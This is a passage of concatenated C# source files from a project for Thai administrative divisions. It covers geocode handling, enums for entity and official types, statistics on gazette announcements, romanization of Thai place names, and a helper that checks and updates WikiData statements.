var RetVal = new Dictionary<PopulationDataEntry, PopulationDataEntry>();
PopulationData geocodes = TambonHelper.GetGeocodeList(changwat.Geocode);
PopulationDataEntry currentChangwat = geocodes.Data;
foreach ( PopulationDataEntry currentAmphoe in currentChangwat.SubEntities )
{
foreach ( PopulationDataEntry currentTambon in currentAmphoe.SubEntities )
{
foreach ( PopulationDataEntry currentMuban in currentTambon.SubEntities )
{
if ( currentMuban.Type == EntityType.Muban )
{
PopulationDataEntry mubanDopa = changwat.FindByCode(currentMuban.Geocode);
if ( mubanDopa != null )
{
if ( !TambonHelper.IsSameMubanName(mubanDopa.Name, currentMuban.Name) )
{
RetVal.Add(currentMuban, mubanDopa);
}
}
}
}
}
}
return RetVal;
}
public string Information(PopulationDataEntry changwat)
{
StringBuilder builder = new StringBuilder();
builder.AppendLine(StatisticsText(changwat));
builder.AppendLine();
foreach ( KeyValuePair<PopulationDataEntry, PopulationDataEntry> keyValuePair in DifferentMubanNames(changwat) )
{
builder.Append(keyValuePair.Key.Geocode.ToString());
builder.Append(' ');
builder.Append(TambonHelper.StripBanOrChumchon(keyValuePair.Key.Name));
builder.Append(" instead of ");
builder.AppendLine(TambonHelper.StripBanOrChumchon(keyValuePair.Value.Name));
}
String result = builder.ToString();
return result;
}
#endregion
}
}
// ToDo: Save To XML<file_sep>/AHTambon/IGeocode.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Interface to handle TIS1099 geocodes.
/// </summary>
interface IGeocode
{
/// <summary>
/// Checks if this instance is about the entity identified by the <paramref name="geocode"/>.
/// If <paramref name="includeSubEntities"/> is <c>true</c>,
/// </summary>
/// <param name="geocode">Geocode to check.</param>
/// <param name="includeSubEntities">Toggles whether codes under <paramref name="geocode"/> are considered fitting as well.</param>
/// <returns><c>true</c> if instance is about the code, <c>false</c> otherwise.</returns>
Boolean IsAboutGeocode(Int32 geocode, Boolean includeSubEntities);
}
}
<file_sep>/TambonMain/IGazetteEntries.cs
using System;
using System.Collections.Generic;
namespace De.AHoerstemeier.Tambon
{
internal interface IGazetteEntries
{
/// <summary>
/// Gets all gazette announcements related to the given geocode.
/// </summary>
/// <param name="geocode">Code to look for.</param>
/// <param name="includeSubEnties"><c>true</c> to include announcements on sub-entities, <c>false</c> to only return exact matches.</param>
/// <returns>All announcements related to the geocode.</returns>
IEnumerable<GazetteEntry> AllAboutGeocode(UInt32 geocode, Boolean includeSubEnties);
/// <summary>
/// Gets a flat list of all gazette entries.
/// </summary>
/// <value>Flat list of all gazette entries.</value>
IEnumerable<GazetteEntry> AllGazetteEntries
{
get;
}
/// <summary>
/// Searches for the first fitting announcement matching the given reference.
/// </summary>
/// <param name="gazetteReference">Gazette reference.</param>
/// <returns>Gazette announcement, or <c>null</c> if nothing found.</returns>
GazetteEntry FindAnnouncement(GazetteRelated gazetteReference);
}
}<file_sep>/AHTambon/TambonEnum.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public enum EntityType
{
Unknown,
Country,
Changwat,
Amphoe,
KingAmphoe,
Tambon,
Muban,
Thesaban, // actually not a type, but a mistake in DOPA population of Nong Khai where they forgot the type
ThesabanNakhon,
ThesabanMueang,
ThesabanTambon,
Khet,
Khwaeng,
SakhaTambon,
SakhaKhwaeng,
Sakha,
Monthon,
Sukhaphiban,
SukhaphibanTambon,
SukhaphibanMueang,
Mueang,
Bangkok,
Chumchon,
TAO,
PAO,
SaphaTambon,
Phak,
KlumChangwat,
Constituency,
ElectoralRegion,
ProvinceCouncil,
OccupiedArea
};
public enum EntityModification
{
Creation,
Abolishment,
Rename,
StatusChange,
AreaChange,
Constituency
}
public enum ProtectedAreaTypes
{
/// <summary>
/// National park (อุทยานแห่งชาติ).
/// </summary>
NationalPark,
/// <summary>
/// Forest park (วนอุทยาน).
/// </summary>
ForestPark,
/// <summary>
/// Historical park (อุทยานประวัติศาสตร์).
/// </summary>
HistoricalPark,
/// <summary>
/// Wildlife sanctuary (เขตรักษาพันธุ์สัตว์ป่า).
/// </summary>
WildlifeSanctuary,
/// <summary>
/// Non-hunting area (เขตห้ามล่าสัตว์ป่า).
/// </summary>
NonHuntingArea,
/// <summary>
/// Historical site (เขตที่ดินโบราณสถาน).
/// </summary>
HistoricalSite,
/// <summary>
/// National protected forest (ป่าสงวนแห่งชาติ).
/// </summary>
NationalForest,
/// <summary>
/// UNESCO world heritage (มรดกโลก).
/// </summary>
WorldHeritage,
/// <summary>
/// UNESCO biosphere reserve (พื้นที่สงวนชีวมณฑล).
/// </summary>
BiosphereReserve,
/// <summary>
/// Botanical garden (สวนพฤกษศาสตร์).
/// </summary>
BotanicalGarden,
/// <summary>
/// Arboretum or forest garden (สวนรุกขชาติ).
/// </summary>
Arboretum,
/// <summary>
/// Paleontological survey area (เขตสำรวจและศึกษาวิจัยเกี่ยวกับแหล่งซากดึกดำบรรพ์หรือซากดึกดำบรรพ์).
/// </summary>
Paleontological,
/// <summary>
/// Environment protection area (เขตพื้นที่คุ้มครองสิ่งแวดล้อม).
/// </summary>
Environment,
/// <summary>
/// Buddhist temple (วัด).
/// </summary>
Wat,
}
public enum EntityLeaderType
{
Unknown,
Governor,
BangkokGovernor,
ViceGovernor,
DistrictOfficer,
DistrictOfficerBangkok,
MinorDistrictOfficer,
Kamnan,
PhuYaiBan,
PAOChairman,
PAOClerk,
PAOCouncilChairman,
Mayor,
MunicipalClerk,
MunicipalityCouncilChairman,
TAOMayor,
TAOChairman,
TAOCouncilChairman,
TAOClerk,
TambonCouncilChairman,
SanitaryDistrictChairman,
ChumchonChairman,
MueangGovernor,
ProvinceCouncilChairman,
ViceRoyal,
RegionGovernor,
RegionViceGovernor,
MunicipalityCouncilor,
TAOCouncilor,
Other,
}
public enum PersonTitle
{
Unknown,
Mister,
Miss,
Mistress,
General,
LieutenantGeneral,
MajorGeneral,
Colonel,
LieutenantColonel,
Major,
Captain,
FirstLieutenant,
SecondLieutenant,
ActingSecondLieutenant,
SubLieutenant
}
public enum OfficeType
{
Unknown,
ProvinceHall,
PAOOffice,
DistrictOffice,
TAOOffice,
MunicipalityOffice,
VillageHeadmanOffice,
ChumchonOffice,
SubdistrictHeadmanOffice,
DistrictMuseum // ???
}
public enum GazetteSignPosition
{
Unknown,
PrimeMinister,
DeputyPrimeMinister,
MinisterOfInterior,
DeputyMinisterOfInterior,
MinistryOfInteriorPermanentSecretary,
MinisterOfAgriculture,
DeputyMinisterOfAgriculture,
ProvinceGovernor,
ViceProvinceGovernor,
DeputyProvinceGovernor,
BangkokGovernor,
BangkokPermanentSecretary,
DeputyBangkokPermanentSecretary,
MinisterOfInformationAndCommunicationTechnology,
ElectionCommissionPresident,
ElectionCommissionActingPresident,
RoyalInstitutePresident,
RoyalInstituteActingPresident,
DepartmentOfTransportDirectorGeneral,
DeputyDepartmentOfTransportDirectorGeneral,
DistrictOfficerBangkok,
DistrictOfficer,
SpeakerOfParliament,
DeputySpeakerOfParliament,
Mayor,
TAOMayor,
TAOChairman,
PAOChairman,
MunicipalPermanentSecretary,
MinistryOfInteriorDeputyPermanentSecretary,
FineArtsDepartmentDirectorGeneral,
MinisterOfNaturalResourcesAndEnvironment,
RegisterOfficeDirector,
RegisterOfficeDeputyDirector,
DirectorGeneralDepartmentOfProvincialAdministration,
MinisterOfEnvironment,
DepartmentOfMineralResourceDirectorGeneral,
DirectorOfNationalBureauOfBuddhism
}
}<file_sep>/TambonMain/CreationStatisticsCentralGovernment.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public abstract class CreationStatisticsCentralGovernment : CreationStatistics
{
#region properties
protected FrequencyCounter _numberOfSubEntities = new FrequencyCounter();
protected FrequencyCounter _numberOfParentEntities = new FrequencyCounter();
private Dictionary<UInt32, Int32> _creationsPerParent = new Dictionary<UInt32, Int32>();
#endregion properties
#region methods
protected override void Clear()
{
base.Clear();
_numberOfSubEntities = new FrequencyCounter();
_numberOfParentEntities = new FrequencyCounter();
_creationsPerParent = new Dictionary<UInt32, Int32>();
}
protected override void ProcessContent(GazetteCreate content)
{
base.ProcessContent(content);
var create = content as GazetteCreate;
UInt32 parentGeocode = create.geocode / 100;
if ( !_creationsPerParent.ContainsKey(parentGeocode) )
{
_creationsPerParent.Add(parentGeocode, 0);
}
_creationsPerParent[parentGeocode]++;
Int32 maxSubEntityIndex = 0;
List<UInt32> parentEntities = new List<UInt32>();
foreach ( GazetteOperationBase subEntry in create.Items )
{
var createSubEntry = subEntry as GazetteCreate;
if ( createSubEntry != null )
{
maxSubEntityIndex++;
}
var reassignSubEntry = subEntry as GazetteReassign;
if ( reassignSubEntry != null )
{
maxSubEntityIndex++;
UInt32 parentEntityCode = reassignSubEntry.oldgeocode / 100;
if ( !parentEntities.Contains(parentEntityCode) )
{
parentEntities.Add(parentEntityCode);
}
}
}
_numberOfSubEntities.IncrementForCount(maxSubEntityIndex, create.geocode);
if ( parentEntities.Any() )
{
_numberOfParentEntities.IncrementForCount(parentEntities.Count, create.geocode);
}
}
protected virtual void AppendBasicInfo(StringBuilder builder)
{
String entityName = DisplayEntityName();
builder.AppendLine(String.Format("{0} Announcements", NumberOfAnnouncements));
builder.AppendLine(String.Format("{0} {1} created", NumberOfCreations, entityName));
builder.AppendLine(String.Format("Creations per announcements: {0:F2}", CreationsPerAnnouncement.MedianValue));
builder.AppendLine(String.Format("Maximum creation per announcements: {0}", CreationsPerAnnouncement.MaxValue));
builder.AppendLine();
}
protected void AppendChangwatInfo(StringBuilder builder)
{
String entityName = DisplayEntityName();
if ( NumberOfCreations > 0 )
{
List<String> changwat = new List<String>();
Int32 maxNumber = 1;
foreach ( var entry in GlobalData.Provinces )
{
if ( _numberOfCreationsPerChangwat[entry.geocode] > maxNumber )
{
maxNumber = _numberOfCreationsPerChangwat[entry.geocode];
changwat.Clear();
}
if ( _numberOfCreationsPerChangwat[entry.geocode] == maxNumber )
{
changwat.Add(entry.english);
}
}
builder.AppendLine(String.Format("{0} {1} created in", maxNumber, entityName));
foreach ( String name in changwat )
{
builder.AppendLine(String.Format("* {0}", name));
}
builder.AppendLine();
}
}
protected void AppendSubEntitiesInfo(StringBuilder builder, String subEntityName)
{
String entityName = DisplayEntityName();
if ( NumberOfCreations > 0 )
{
builder.AppendLine(String.Format("Most common number of {0}: {1} times", subEntityName, _numberOfSubEntities.MostCommonValue));
builder.AppendLine(String.Format("Mean number of {0}: {1:F2}", subEntityName, _numberOfSubEntities.MedianValue));
builder.AppendLine(String.Format("Standard deviation: {0:F2}", _numberOfSubEntities.StandardDeviation));
builder.AppendLine(String.Format("Lowest number of {0}: {1}", subEntityName, _numberOfSubEntities.MinValue));
if ( _numberOfSubEntities.MinValue > 0 )
{
foreach ( Int32 geocode in _numberOfSubEntities.Data[_numberOfSubEntities.MinValue] )
{
builder.Append(geocode.ToString() + ' ');
}
builder.AppendLine();
}
builder.AppendLine(String.Format("Highest number of {0}: {1}", subEntityName, _numberOfSubEntities.MaxValue));
if ( _numberOfSubEntities.MaxValue > 0 )
{
foreach ( Int32 geocode in _numberOfSubEntities.Data[_numberOfSubEntities.MaxValue] )
{
builder.Append(geocode.ToString() + ' ');
}
builder.AppendLine();
}
builder.AppendLine();
}
}
protected void AppendParentNumberInfo(StringBuilder builder)
{
String parentName = DisplayEntityName();
if ( NumberOfCreations > 0 )
{
builder.AppendLine(String.Format("Highest number of parent {0}: {1}", parentName, _numberOfParentEntities.MaxValue));
if ( _numberOfParentEntities.MaxValue > 1 )
{
foreach ( Int32 geocode in _numberOfParentEntities.Data[_numberOfParentEntities.MaxValue] )
{
builder.Append(geocode.ToString() + ' ');
}
builder.AppendLine();
}
Int32[] numberOfParentEntities = new Int32[_numberOfParentEntities.MaxValue + 1];
foreach ( var parentEntity in _numberOfParentEntities.Data )
{
numberOfParentEntities[parentEntity.Key] = parentEntity.Value.Count;
}
for ( Int32 i = 0 ; i <= _numberOfParentEntities.MaxValue ; i++ )
{
if ( numberOfParentEntities[i] != 0 )
{
builder.AppendLine(i.ToString() + ": " + numberOfParentEntities[i].ToString());
}
}
builder.AppendLine();
}
}
protected void AppendParentFrequencyInfo(StringBuilder builder, String parentEntityName)
{
String entityName = DisplayEntityName();
var sortedParents = new List<KeyValuePair<UInt32, Int32>>();
sortedParents.AddRange(_creationsPerParent);
sortedParents.Sort(delegate(KeyValuePair<UInt32, Int32> x, KeyValuePair<UInt32, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
if ( sortedParents.Any() )
{
var first = sortedParents.FirstOrDefault();
builder.AppendLine(String.Format("Most {0} created in one {1}: {2}", entityName, parentEntityName, first.Value));
foreach ( var entry in sortedParents.FindAll(
delegate(KeyValuePair<UInt32, Int32> x)
{
return (x.Value == first.Value);
}) )
{
builder.Append(entry.Key.ToString() + ' ');
}
builder.Remove(builder.Length - 1, 1);
}
builder.AppendLine();
}
protected void AppendDayOfYearInfo(StringBuilder builder)
{
String entityName = DisplayEntityName();
DateTime baseDateTime = new DateTime(2004, 1, 1);
List<KeyValuePair<Int32, Int32>> sortedDays = new List<KeyValuePair<Int32, Int32>>();
sortedDays.AddRange(EffectiveDayOfYear);
sortedDays.Sort(delegate(KeyValuePair<Int32, Int32> x, KeyValuePair<Int32, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
Int32 count = 0;
if ( sortedDays.Any() )
{
foreach ( KeyValuePair<Int32, Int32> data in sortedDays )
{
DateTime current = baseDateTime.AddDays(data.Key - 1);
builder.AppendLine(String.Format("{0:MMM dd}: {1} {2} created ", current, EffectiveDayOfYear[data.Key], entityName));
count++;
if ( count > 10 )
{
break;
}
}
builder.AppendLine();
}
}
protected abstract String DisplayEntityName();
#endregion methods
}
}<file_sep>/TambonMain/Romanization.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class RomanizationEntry
{
public UInt32 Geocode
{
get;
private set;
}
public String Name
{
get;
private set;
}
public String English
{
get;
private set;
}
public RomanizationEntry(UInt32 geocode, String name)
{
Geocode = geocode;
Name = name;
English = String.Empty;
}
public RomanizationEntry(UInt32 geocode, String name, String english)
{
Geocode = geocode;
Name = name;
English = english;
}
}
public class Romanization
{
#region properties
public IDictionary<String, String> Romanizations
{
get;
private set;
}
public IDictionary<RomanizationEntry, String> RomanizationMistakes
{
get;
private set;
}
#endregion properties
private RomanizationEntry CreateRomanizationEntry(Entity entity, String romanization)
{
var suggestedName = romanization;
switch ( entity.type )
{
case EntityType.Muban:
romanization = "Ban " + romanization.StripBanOrChumchon();
break;
case EntityType.Chumchon:
romanization = "Chumchon " + romanization.StripBanOrChumchon();
break;
default:
break;
}
return new RomanizationEntry(entity.geocode, entity.name, romanization);
}
public List<RomanizationEntry> FindRomanizationSuggestions(out List<RomanizationEntry> romanizationMissing, IEnumerable<Entity> entitiesToCheck)
{
var result = new List<RomanizationEntry>();
romanizationMissing = new List<RomanizationEntry>();
foreach ( var entityToCheck in entitiesToCheck )
{
if ( String.IsNullOrEmpty(entityToCheck.name) )
{
continue;
}
if ( String.IsNullOrEmpty(entityToCheck.english) )
{
String foundEnglishName = String.Empty;
if ( Romanizations.Keys.Contains(entityToCheck.name) )
{
foundEnglishName = entityToCheck.name;
}
else
{
var searchName = entityToCheck.name.StripBanOrChumchon();
if ( Romanizations.Keys.Contains(searchName) )
{
foundEnglishName = searchName;
}
else
{
// Chumchon may have the name "<NAME> ..."
searchName = searchName.StripBanOrChumchon();
if ( Romanizations.Keys.Contains(searchName) )
{
foundEnglishName = searchName;
}
}
}
if ( !String.IsNullOrEmpty(foundEnglishName) )
{
result.Add(CreateRomanizationEntry(entityToCheck, Romanizations[foundEnglishName]));
}
else
{
Boolean found = false;
String name = entityToCheck.name.StripBanOrChumchon();
name = ThaiNumeralHelper.ReplaceThaiNumerals(name);
List<Char> numerals = new List<Char>() { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };
foreach ( Char c in numerals )
{
name = name.Replace(c, ' ');
}
name = name.Trim();
foreach ( var keyValuePair in ThaiLanguageHelper.NameSuffixRomanizations )
{
if ( entityToCheck.name.EndsWith(keyValuePair.Key) )
{
String searchString = name.Substring(0, name.Length - keyValuePair.Key.Length).StripBanOrChumchon();
if ( String.IsNullOrEmpty(searchString) )
{
result.Add(CreateRomanizationEntry(entityToCheck, keyValuePair.Value));
found = true;
}
else if ( Romanizations.Keys.Contains(searchString) )
{
result.Add(CreateRomanizationEntry(entityToCheck, Romanizations[searchString] + " " + keyValuePair.Value));
found = true;
}
}
}
if ( !found )
{
var prefixes = ThaiLanguageHelper.NamePrefixRomanizations.Union(ThaiLanguageHelper.NameSuffixRomanizations);
foreach ( var keyValuePair in prefixes )
{
if ( name.StartsWith(keyValuePair.Key) )
{
String searchString = name.Substring(keyValuePair.Key.Length);
if ( String.IsNullOrEmpty(searchString) )
{
result.Add(CreateRomanizationEntry(entityToCheck, keyValuePair.Value));
found = true;
}
else if ( Romanizations.Keys.Contains(searchString) )
{
result.Add(CreateRomanizationEntry(entityToCheck, keyValuePair.Value + " " + Romanizations[searchString]));
found = true;
}
}
}
}
if ( !found )
{
romanizationMissing.Add(new RomanizationEntry(entityToCheck.geocode, entityToCheck.name));
}
}
}
}
return result;
}
public void Initialize(IEnumerable<Entity> allEntities)
{
Romanizations.Clear();
RomanizationMistakes.Clear();
foreach ( var entityToCheck in allEntities )
{
if ( !String.IsNullOrEmpty(entityToCheck.english) )
{
String name = entityToCheck.name;
String english = entityToCheck.english;
if ( (entityToCheck.type == EntityType.Muban) | (entityToCheck.type == EntityType.Chumchon) )
{
name = name.StripBanOrChumchon();
if ( english.StartsWith("Ban ") )
{
english = english.Remove(0, "Ban ".Length).Trim();
}
if ( english.StartsWith("Chumchon ") )
{
english = english.Remove(0, "Chumchon ".Length).Trim();
}
if ( entityToCheck.type == EntityType.Chumchon )
{
// Chumchon may have the name "Chumchon Ban ..."
name = name.StripBanOrChumchon();
// or even Chumchon Mu Ban
const String ThaiStringMuban = "หมู่บ้าน";
if ( name.StartsWith(ThaiStringMuban, StringComparison.Ordinal) )
{
name = name.Remove(0, ThaiStringMuban.Length).Trim();
}
if ( english.StartsWith("Ban ") )
{
english = english.Remove(0, "Ban ".Length).Trim();
}
if ( english.StartsWith("Mu Ban ") )
{
english = english.Remove(0, "Mu Ban ".Length).Trim();
}
}
}
if ( Romanizations.Keys.Contains(name) )
{
if ( Romanizations[name] != english )
{
RomanizationMistakes[new RomanizationEntry(entityToCheck.geocode, name, english)] = Romanizations[name];
}
}
else
{
Romanizations[name] = english;
}
}
}
}
public Romanization()
{
Romanizations = new Dictionary<String, String>();
RomanizationMistakes = new Dictionary<RomanizationEntry, String>();
}
}
}<file_sep>/GeoTool/ViewModel/GeoToolViewModelLocator.cs
/*
In App.xaml:
<Application.Resources>
<vm:GeoToolViewModelLocator xmlns:vm="clr-namespace:De.AHoerstemeier.GeoTool"
x:Key="Locator" />
</Application.Resources>
In the View:
DataContext="{Binding Source={StaticResource Locator}, Path=ViewModelName}"
OR (WPF only):
xmlns:vm="clr-namespace:De.AHoerstemeier.GeoTool"
DataContext="{Binding Source={x:Static vm:GeoToolViewModelLocator.ViewModelNameStatic}}"
*/
using De.AHoerstemeier.GeoTool.Model;
namespace De.AHoerstemeier.GeoTool.ViewModel
{
/// <summary>
/// This class contains static references to all the view models in the
/// application and provides an entry point for the bindings.
/// <para>
/// Use the <strong>mvvmlocatorproperty</strong> snippet to add ViewModels
/// to this locator.
/// </para>
/// <para>
/// In Silverlight and WPF, place the GeoToolViewModelLocator in the App.xaml resources:
/// </para>
/// <code>
/// <Application.Resources>
/// <vm:GeoToolViewModelLocator xmlns:vm="clr-namespace:De.AHoerstemeier.GeoTool"
/// x:Key="Locator" />
/// </Application.Resources>
/// </code>
/// <para>
/// Then use:
/// </para>
/// <code>
/// DataContext="{Binding Source={StaticResource Locator}, Path=ViewModelName}"
/// </code>
/// <para>
/// You can also use Blend to do all this with the tool's support.
/// </para>
/// <para>
/// See http://www.galasoft.ch/mvvm/getstarted
/// </para>
/// <para>
/// In <strong>*WPF only*</strong> (and if databinding in Blend is not relevant), you can delete
/// the ViewModelName property and bind to the ViewModelNameStatic property instead:
/// </para>
/// <code>
/// xmlns:vm="clr-namespace:De.AHoerstemeier.GeoTool"
/// DataContext="{Binding Source={x:Static vm:GeoToolViewModelLocator.ViewModelNameStatic}}"
/// </code>
/// </summary>
public class GeoToolViewModelLocator
{
/// <summary>
/// Initializes a new instance of the GeoToolViewModelLocator class.
/// </summary>
public GeoToolViewModelLocator()
{
////if (ViewModelBase.IsInDesignModeStatic)
////{
//// // Create design time view models
////}
////else
////{
//// // Create run time view models
////}
CreateGeoData();
}
private static GeoDataViewModel _geoData;
/// <summary>
/// Gets the GeoDataStatic property.
/// </summary>
public static GeoDataViewModel GeoDataStatic
{
get
{
if ( _geoData == null )
{
CreateGeoData();
}
return _geoData;
}
}
/// <summary>
/// Gets the GeoData property.
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance",
"CA1822:MarkMembersAsStatic",
Justification = "This non-static member is needed for data binding purposes.")]
public GeoDataViewModel GeoData
{
get
{
return GeoDataStatic;
}
}
private static GeoDataMapViewModel _geoDataMap;
/// <summary>
/// Gets the GeoDataStatic property.
/// </summary>
public static GeoDataMapViewModel GeoDataMapStatic
{
get
{
if ( _geoDataMap == null )
{
CreateGeoDataMap();
}
return _geoDataMap;
}
}
/// <summary>
/// Gets the GeoData property.
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance",
"CA1822:MarkMembersAsStatic",
Justification = "This non-static member is needed for data binding purposes.")]
public GeoDataMapViewModel GeoDataMap
{
get
{
return GeoDataMapStatic;
}
}
/// <summary>
/// Provides a deterministic way to delete the GeoDataStatic property.
/// </summary>
public static void ClearGeoData()
{
_geoData.Cleanup();
_geoData = null;
}
/// <summary>
/// Provides a deterministic way to create the GeoDataStatic property.
/// </summary>
public static void CreateGeoData()
{
if ( _geoData == null )
{
_geoData = new GeoDataViewModel(new GeoDataModel());
}
}
/// <summary>
/// Provides a deterministic way to delete the GeoDataStatic property.
/// </summary>
public static void ClearGeoDataMap()
{
_geoDataMap.Cleanup();
_geoDataMap = null;
}
/// <summary>
/// Provides a deterministic way to create the GeoDataStatic property.
/// </summary>
public static void CreateGeoDataMap()
{
if ( _geoDataMap == null )
{
_geoDataMap = new GeoDataMapViewModel(new GeoDataModel());
}
}
/// <summary>
/// Cleans up all the resources.
/// </summary>
public static void Cleanup()
{
ClearGeoData();
ClearGeoDataMap();
}
}
}<file_sep>/TambonMain/WikiDataHelper.cs
using System;
using System.Collections.Generic;
using System.Device.Location;
using System.Globalization;
using System.Linq;
using Wikibase;
using Wikibase.DataValues;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Main translation class between <see cref="Entity"/> and the WikiData structures.
/// </summary>
public class WikiDataHelper
{
#region fields
private IEnumerable<Entity> _allEntities;
private EntityProvider _entityProvider;
#endregion fields
#region properties
/// <summary>
/// Gets the WikiData writing API encapsulation.
/// </summary>
/// <value>The WikiData writing API encapsulation.</value>
public WikibaseApi Api
{
get;
private set;
}
#endregion properties
#region constructor
/// <summary>
/// Creates a new instance of <see cref="WikiDataHelper"/>.
/// </summary>
/// <param name="api">The WikiData API encapsulation.</param>
public WikiDataHelper(WikibaseApi api)
{
Api = api ?? throw new ArgumentNullException(nameof(api));
_entityProvider = new EntityProvider(Api);
var entities = GlobalData.CompleteGeocodeList();
_allEntities = entities.FlatList();
}
#endregion constructor
#region private methods
private WikiDataState CheckStringValue(Item item, String propertyId, String expected, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyId);
Statement claim = item.Claims.Select(x => x as Statement).Where(x => x != null).FirstOrDefault(x => property.Equals(x.mainSnak.PropertyId) && x.Rank != Rank.Deprecated);
var dataValue = new StringValue(expected);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
if (claim == null)
{
if (String.IsNullOrEmpty(expected))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.NotSet;
if (createStatement)
{
claim = item.createStatementForSnak(snak);
}
}
}
else
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as StringValue;
if (oldDataValue.Value == dataValue.Value)
{
result = WikiDataState.Valid;
}
else
{
if (!String.IsNullOrEmpty(expected))
{
result = WikiDataState.WrongValue;
if (overrideWrongData)
{
claim.mainSnak = snak;
}
}
else
{
result = WikiDataState.DataMissing;
}
}
}
statement = claim as Statement;
return result;
}
private WikiDataState CheckTimeValue(Item item, String propertyId, DateTime expected, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyId);
Statement claim = item.Claims.FirstOrDefault(x => property.Equals(x.mainSnak.PropertyId)) as Statement;
var dataValue = TimeValue.DateValue(expected);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
if (claim == null)
{
result = WikiDataState.NotSet;
if (createStatement)
{
claim = item.createStatementForSnak(snak);
}
}
else
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as TimeValue;
if (oldDataValue.DateTime == dataValue.DateTime)
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.WrongValue;
if (overrideWrongData)
{
claim.mainSnak = snak;
}
}
}
statement = claim as Statement;
return result;
}
/// <summary>
/// Checks and eventually sets a link property.
/// </summary>
/// <param name="item">Wikidata item.</param>
/// <param name="propertyId">Id of the property.</param>
/// <param name="expectedItemId">Expected item id.</param>
/// <param name="createStatement"><c>true</c> to create the statement if not existing yet.</param>
/// <param name="overrideWrongData"><c>true</c> to overwrite wrong data.</param>
/// <param name="statement">Newly created statement.</param>
/// <returns>Status of the link property.</returns>
public WikiDataState CheckPropertyValue(Item item, String propertyId, String expectedItemId, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyId);
Statement claim = item.Claims.FirstOrDefault(x => property.Equals(x.mainSnak.PropertyId)) as Statement;
var entity = new EntityId(expectedItemId);
var dataValue = new EntityIdValue(entity);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
if (claim == null)
{
if (String.IsNullOrEmpty(expectedItemId))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.NotSet;
if (createStatement)
{
claim = item.createStatementForSnak(snak);
}
}
}
else
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as EntityIdValue;
if (oldDataValue.NumericId == dataValue.NumericId)
{
result = WikiDataState.Valid;
}
else
{
if (!String.IsNullOrEmpty(expectedItemId))
{
result = WikiDataState.WrongValue;
if (overrideWrongData)
{
claim.mainSnak = snak;
}
}
else
{
result = WikiDataState.DataMissing;
}
}
}
statement = claim as Statement;
return result;
}
private WikiDataState CheckPropertyMultiValue(Item item, String propertyId, String expectedItemId, Boolean createStatement, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
if (String.IsNullOrEmpty(expectedItemId))
{
statement = null;
return result; // TODO better handling!
}
var entity = new EntityId(expectedItemId);
var dataValue = new EntityIdValue(entity);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
var property = new EntityId(propertyId);
Statement foundStatement = null;
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as EntityIdValue;
if (oldDataValue.NumericId == dataValue.NumericId)
{
foundStatement = claim as Statement;
result = WikiDataState.Valid;
}
}
if (foundStatement == null)
{
if (String.IsNullOrEmpty(expectedItemId))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.Incomplete;
if (createStatement)
{
foundStatement = item.createStatementForSnak(snak);
}
}
}
statement = foundStatement;
return result;
}
private WikiDataState CheckStringMultiValue(Item item, String propertyId, String expectedValue, Boolean createStatement, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
if (String.IsNullOrEmpty(expectedValue))
{
statement = null;
return result; // TODO better handling!
}
var dataValue = new StringValue(expectedValue);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
var property = new EntityId(propertyId);
Statement foundStatement = null;
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as StringValue;
if (oldDataValue.Value == dataValue.Value)
{
foundStatement = claim as Statement;
result = WikiDataState.Valid;
}
}
if (foundStatement == null)
{
if (String.IsNullOrEmpty(expectedValue))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.Incomplete;
if (createStatement)
{
foundStatement = item.createStatementForSnak(snak);
}
}
}
statement = foundStatement;
return result;
}
private WikiDataState CheckMonoLanguageValue(Item item, String propertyId, Language language, String expectedValue, Boolean createStatement, out Statement statement)
{
